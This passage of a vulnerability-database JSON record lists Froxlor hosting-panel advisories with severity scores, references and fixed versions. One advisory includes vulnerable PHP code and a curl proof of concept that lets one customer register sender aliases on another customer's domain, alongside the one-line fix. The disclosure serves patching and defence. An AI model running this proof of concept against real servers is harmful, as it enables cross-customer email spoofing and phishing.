intended.","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30932","reference_id":"","reference_type":"","scores":[{"value":"0.00025","scoring_system":"epss","scoring_elements":"0.07564","published_at":"2026-06-05T12:55:00Z"},{"value":"0.00025","scoring_system":"epss","scoring_elements":"0.07516","published_at":"2026-06-09T12:55:00Z"},{"value":"0.00025","scoring_system":"epss","scoring_elements":"0.07505","published_at":"2026-06-08T12:55:00Z"},{"value":"0.00025","scoring_system":"epss","scoring_elements":"0.07553","published_at":"2026-06-07T12:55:00Z"},{"value":"0.00025","scoring_system":"epss","scoring_elements":"0.07573","published_at":"2026-06-06T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30932"},{"reference_url":"https://github.com/froxlor/froxlor","reference_id":"","reference_type":"","scores":[{"value":"8.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"value":"8.6","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/froxlor/froxlor"},{"reference_url":"https://github.com/froxlor/froxlor/commit/b34829262dc32818b37f6a1eabb426d0b277a86b","reference_id":"","reference_type":"","scores":[{"value":"8.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"value":"8.6","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-25T13:30:29Z/"}],"url":"https://github.com/froxlor/froxlor/commit/b34829262dc32818b37f6a1eabb426d0b277a86b"},{"reference_url":"https://github.com/froxlor/froxlor/releases/tag/2.3.5","reference_id":"","reference_type":"","scores":[{"value":"8.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"value":"8.6","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-25T13:30:29Z/"}],"url":"https://github.com/froxlor/froxlor/releases/tag/2.3.5"},{"reference_url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-x6w6-2xwp-3jh6","reference_id":"","reference_type":"","scores":[{"value":"8.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"8.6","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-25T13:30:29Z/"}],"url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-x6w6-2xwp-3jh6"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30932","reference_id":"","reference_type":"","scores":[{"value":"8.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"value":"8.6","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30932"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/113537?format=json","purl":"pkg:composer/froxlor/froxlor@2.3.5","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-395t-sx9f-v3fv"},{"vulnerability":"VCID-7y1g-hs5x-bqcv"},{"vulnerability":"VCID-anxs-8787-jbau"},{"vulnerability":"VCID-dwqk-ufbx-wuad"},{"vulnerability":"VCID-p1tf-9r4u-4qa5"},{"vulnerability":"VCID-xedk-83k5-7uhe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/froxlor/froxlor@2.3.5"}],"aliases":["CVE-2026-30932","GHSA-x6w6-2xwp-3jh6"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-sxbc-bs78-vkef"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/89071?format=json","vulnerability_id":"VCID-xedk-83k5-7uhe","summary":"Froxlor has an Email Sender Alias Domain Ownership Bypass via Wrong Array Index Allows Cross-Customer Email Spoofing\n## Summary\n\nIn `EmailSender::add()`, the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to `validateLocalDomainOwnership()`. This causes the ownership check to always pass for non-existent \"domains,\" allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's `sender_login_maps` then authorizes the attacker to send emails as those addresses.\n\n## Details\n\nIn `lib/Froxlor/Api/Commands/EmailSender.php` at line 100, when a customer adds a full email address (not a `@domain` wildcard) as an allowed sender, the code splits on `@` and takes index `[0]`:\n\n```php\n// Line 96-106\nif (substr($allowed_sender, 0, 1) != '@') {\n    if (!Validate::validateEmail($idna_convert->encode($allowed_sender))) {\n        Response::standardError('emailiswrong', $allowed_sender, true);\n    }\n    self::validateLocalDomainOwnership(explode(\"@\", $allowed_sender)[0] ?? \"\");  // BUG: [0] is the local part\n} else {\n    if (!Validate::validateDomain($idna_convert->encode(substr($allowed_sender, 1)))) {\n        Response::standardError('wildcardemailiswrong', substr($allowed_sender, 1), true);\n    }\n    self::validateLocalDomainOwnership(substr($allowed_sender, 1));  // CORRECT: passes domain\n}\n```\n\nFor input `admin@domain-b.com`, `explode(\"@\", \"admin@domain-b.com\")` returns `[\"admin\", \"domain-b.com\"]`. Index `[0]` is `\"admin\"` — the local part, not the domain.\n\nThe `validateLocalDomainOwnership()` function (lines 346-355) then queries `panel_domains` for a domain matching `\"admin\"`:\n\n```php\nprivate static function validateLocalDomainOwnership(string $domain): void\n{\n    $sel_stmt = Database::prepare(\"SELECT customerid FROM `\" . TABLE_PANEL_DOMAINS . \"` WHERE `domain` = :domain\");\n    $domain_result = Database::pexecute_first($sel_stmt, ['domain' => $domain]);\n    if ($domain_result && $domain_result['customerid'] != CurrentUser::getField('customerid')) {\n        Response::standardError('senderdomainnotowned', $domain, true);\n    }\n}\n```\n\nSince no domain named `\"admin\"` exists in `panel_domains`, `$domain_result` is false, and the function returns without error — the ownership check silently passes.\n\nThe inserted `mail_sender_aliases` row is then picked up by Postfix's `sender_login_maps` query (configured in `mysql-virtual_sender_permissions.cf`):\n\n```sql\n... UNION (SELECT mail_sender_aliases.email FROM mail_sender_aliases\nWHERE mail_sender_aliases.allowed_sender = '%s') ...\n```\n\nThis query maps the `allowed_sender` back to the mail user, authorizing them to send as that address via SMTP.\n\n## PoC\n\n```bash\n# Prerequisites: Froxlor instance with mail.enable_allow_sender enabled,\n# two customers: Customer A (owns domain-a.com) and Customer B (owns domain-b.com)\n\n# Step 1: As Customer A, add a sender alias claiming Customer B's domain\n# Via API:\ncurl -X POST 'https://froxlor-host/api/v1/' \\\n  -H 'Authorization: Basic <customer-A-credentials>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"command\": \"EmailSender.add\",\n    \"params\": {\n      \"emailaddr\": \"myaccount@domain-a.com\",\n      \"allowed_sender\": \"ceo@domain-b.com\"\n    }\n  }'\n\n# Expected: Error \"senderdomainnotowned\" because domain-b.com belongs to Customer B\n# Actual: 200 OK — alias is created because validateLocalDomainOwnership\n#         receives \"ceo\" (local part) instead of \"domain-b.com\" (domain)\n\n# Step 2: Verify the alias was inserted\ncurl -X POST 'https://froxlor-host/api/v1/' \\\n  -H 'Authorization: Basic <customer-A-credentials>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"command\": \"EmailSender.listing\",\n    \"params\": {\"emailaddr\": \"myaccount@domain-a.com\"}\n  }'\n\n# Step 3: Customer A can now send email as ceo@domain-b.com via SMTP\n# because Postfix sender_login_maps will match the mail_sender_aliases entry\n# and authorize Customer A's mail account to use that sender address.\n```\n\nThe same attack works via the web UI by POST-ing to `customer_email.php` with `action=add_sender` and the target domain in `allowed_domain`.\n\n## Impact\n\nAny authenticated customer on a multi-tenant Froxlor instance can add sender aliases for email addresses on domains belonging to other customers. This allows:\n\n- **Cross-customer email spoofing**: Send emails impersonating users on other customers' domains, bypassing Postfix's `smtpd_sender_login_maps` restriction that is specifically designed to prevent this.\n- **Multi-tenant isolation breach**: The domain ownership check (`validateLocalDomainOwnership`) is the only barrier preventing cross-customer sender aliasing, and it is completely ineffective for full email addresses.\n- **Phishing and reputation damage**: Spoofed emails originate from the legitimate mail server, passing SPF/DKIM checks for the target domain if those records point to the Froxlor server.\n\nNote: The wildcard (`@domain`) code path at line 105 is **not** affected — it correctly passes the domain to `validateLocalDomainOwnership()`.\n\n## Recommended Fix\n\nChange index `[0]` to `[1]` on line 100 of `lib/Froxlor/Api/Commands/EmailSender.php`:\n\n```php\n// Before (line 100):\nself::validateLocalDomainOwnership(explode(\"@\", $allowed_sender)[0] ?? \"\");\n\n// After:\nself::validateLocalDomainOwnership(explode(\"@\", $allowed_sender)[1] ?? \"\");\n```\n\nThis ensures the domain part of the email address is passed to the ownership validation, matching the behavior of the wildcard path on line 105.","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41232","reference_id":"","reference_type":"","scores":[{"value":"0.00039","scoring_system":"epss","scoring_elements":"0.12204","published_at":"2026-06-06T12:55:00Z"},{"value":"0.00039","scoring_system":"epss","scoring_elements":"0.12107","published_at":"2026-06-09T12:55:00Z"},{"value":"0.00039","scoring_system":"epss","scoring_elements":"0.12094","published_at":"2026-06-08T12:55:00Z"},{"value":"0.00039","scoring_system":"epss","scoring_elements":"0.12169","published_at":"2026-06-07T12:55:00Z"},{"value":"0.00039","scoring_system":"epss","scoring_elements":"0.12206","published_at":"2026-06-05T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41232"},{"reference_url":"https://github.com/froxlor/froxlor","reference_id":"","reference_type":"","scores":[{"value":"5.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/froxlor/froxlor"},{"reference_url":"https://github.com/froxlor/froxlor/commit/77d04badf549d5f8429828f0fbc69bc37a35e07a","reference_id":"","reference_type":"","scores":[{"value":"5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N"},{"value":"5.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-23T14:49:29Z/"}],"url":"https://github.com/froxlor/froxlor/commit/77d04badf549d5f8429828f0fbc69bc37a35e07a"},{"reference_url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6","reference_id":"","reference_type":"","scores":[{"value":"5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N"},{"value":"5.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-23T14:49:29Z/"}],"url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6"},{"reference_url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-vmjj-qr7v-pxm6","reference_id":"","reference_type":"","scores":[{"value":"5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N"},{"value":"5.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-23T14:49:29Z/"}],"url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-vmjj-qr7v-pxm6"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41232","reference_id":"","reference_type":"","scores":[{"value":"5.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41232"},{"reference_url":"https://github.com/advisories/GHSA-vmjj-qr7v-pxm6","reference_id":"GHSA-vmjj-qr7v-pxm6","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-vmjj-qr7v-pxm6"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/109902?format=json","purl":"pkg:composer/froxlor/froxlor@2.3.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-ducn-23aq-cqfw"},{"vulnerability":"VCID-fj23-7ex5-vbgk"},{"vulnerability":"VCID-mvq5-tbjh-qbdc"},{"vulnerability":"VCID-s3vs-var5-3ybw"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/froxlor/froxlor@2.3.6"}],"aliases":["CVE-2026-41232","GHSA-vmjj-qr7v-pxm6"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-xedk-83k5-7uhe"}],"fixing_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/56783?format=json","vulnerability_id":"VCID-f8j4-xxr4-w3ax","summary":"Froxlor has an HTML Injection Vulnerability\n_An HTML Injection vulnerability in the customer account portal allows an attacker to inject malicious HTML payloads in the email section. This can lead to phishing attacks, credential theft, and reputational damage by redirecting users to malicious external websites. The vulnerability has a medium severity, as it can be exploited through user input without authentication._","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-48958","reference_id":"","reference_type":"","scores":[{"value":"0.00171","scoring_system":"epss","scoring_elements":"0.38215","published_at":"2026-06-06T12:55:00Z"},{"value":"0.00171","scoring_system":"epss","scoring_elements":"0.38167","published_at":"2026-06-09T12:55:00Z"},{"value":"0.00171","scoring_system":"epss","scoring_elements":"0.38156","published_at":"2026-06-08T12:55:00Z"},{"value":"0.00171","scoring_system":"epss","scoring_elements":"0.38212","published_at":"2026-06-05T12:55:00Z"},{"value":"0.00171","scoring_system":"epss","scoring_elements":"0.38187","published_at":"2026-06-07T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-48958"},{"reference_url":"https://github.com/froxlor/Froxlor","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/froxlor/Froxlor"},{"reference_url":"https://github.com/froxlor/Froxlor/commit/fde43f80600f1035e1e3d2297411b666d805549a","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-06-02T16:40:22Z/"}],"url":"https://github.com/froxlor/Froxlor/commit/fde43f80600f1035e1e3d2297411b666d805549a"},{"reference_url":"https://github.com/user-attachments/assets/86947633-3e7c-4e10-86cc-92e577761e8e","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-06-02T16:40:22Z/"}],"url":"https://github.com/user-attachments/assets/86947633-3e7c-4e10-86cc-92e577761e8e"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-48958","reference_id":"CVE-2025-48958","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-48958"},{"reference_url":"https://github.com/advisories/GHSA-26xq-m8xw-6373","reference_id":"GHSA-26xq-m8xw-6373","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-26xq-m8xw-6373"},{"reference_url":"https://github.com/froxlor/Froxlor/security/advisories/GHSA-26xq-m8xw-6373","reference_id":"GHSA-26xq-m8xw-6373","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-06-02T16:40:22Z/"}],"url":"https://github.com/froxlor/Froxlor/security/advisories/GHSA-26xq-m8xw-6373"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/84305?format=json","purl":"pkg:composer/froxlor/froxlor@2.2.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-395t-sx9f-v3fv"},{"vulnerability":"VCID-7y1g-hs5x-bqcv"},{"vulnerability":"VCID-anxs-8787-jbau"},{"vulnerability":"VCID-ara1-6f8y-27h7"},{"vulnerability":"VCID-dwqk-ufbx-wuad"},{"vulnerability":"VCID-p1tf-9r4u-4qa5"},{"vulnerability":"VCID-sxbc-bs78-vkef"},{"vulnerability":"VCID-xedk-83k5-7uhe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/froxlor/froxlor@2.2.6"}],"aliases":["CVE-2025-48958","GHSA-26xq-m8xw-6373"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-f8j4-xxr4-w3ax"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/56786?format=json","vulnerability_id":"VCID-hxgb-4bqg-8qff","summary":"Duplicate\nThis advisory duplicates another.","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-29773","reference_id":"","reference_type":"","scores":[{"value":"0.00089","scoring_system":"epss","scoring_elements":"0.25269","published_at":"2026-06-08T12:55:00Z"},{"value":"0.00089","scoring_system":"epss","scoring_elements":"0.25278","published_at":"2026-06-09T12:55:00Z"},{"value":"0.00089","scoring_system":"epss","scoring_elements":"0.25376","published_at":"2026-06-06T12:55:00Z"},{"value":"0.00089","scoring_system":"epss","scoring_elements":"0.25392","published_at":"2026-06-05T12:55:00Z"},{"value":"0.00089","scoring_system":"epss","scoring_elements":"0.25327","published_at":"2026-06-07T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-29773"},{"reference_url":"https://github.com/froxlor/Froxlor","reference_id":"","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/froxlor/Froxlor"},{"reference_url":"https://github.com/froxlor/Froxlor/commit/a43d53d54034805e3e404702a01312fa0c40b623","reference_id":"","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-03-13T18:30:51Z/"}],"url":"https://github.com/froxlor/Froxlor/commit/a43d53d54034805e3e404702a01312fa0c40b623"},{"reference_url":"https://mega.nz/file/h8oFHQrL#I4V02_BWee4CCx7OoBl_2Ufkd5Wc7fvs5aCatGApkoQ","reference_id":"","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-03-13T18:30:51Z/"}],"url":"https://mega.nz/file/h8oFHQrL#I4V02_BWee4CCx7OoBl_2Ufkd5Wc7fvs5aCatGApkoQ"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-29773","reference_id":"CVE-2025-29773","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-29773"},{"reference_url":"https://github.com/advisories/GHSA-7j6w-p859-464f","reference_id":"GHSA-7j6w-p859-464f","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-7j6w-p859-464f"},{"reference_url":"https://github.com/froxlor/Froxlor/security/advisories/GHSA-7j6w-p859-464f","reference_id":"GHSA-7j6w-p859-464f","reference_type":"","scores":[{"value":"5.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-03-13T18:30:51Z/"}],"url":"https://github.com/froxlor/Froxlor/security/advisories/GHSA-7j6w-p859-464f"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/84305?format=json","purl":"pkg:composer/froxlor/froxlor@2.2.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-395t-sx9f-v3fv"},{"vulnerability":"VCID-7y1g-hs5x-bqcv"},{"vulnerability":"VCID-anxs-8787-jbau"},{"vulnerability":"VCID-ara1-6f8y-27h7"},{"vulnerability":"VCID-dwqk-ufbx-wuad"},{"vulnerability":"VCID-p1tf-9r4u-4qa5"},{"vulnerability":"VCID-sxbc-bs78-vkef"},{"vulnerability":"VCID-xedk-83k5-7uhe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/froxlor/froxlor@2.2.6"}],"aliases":["CVE-2025-29773","GHSA-7j6w-p859-464f"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-hxgb-4bqg-8qff"}],"risk_score":"4.5","resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/froxlor/froxlor@2.2.6"}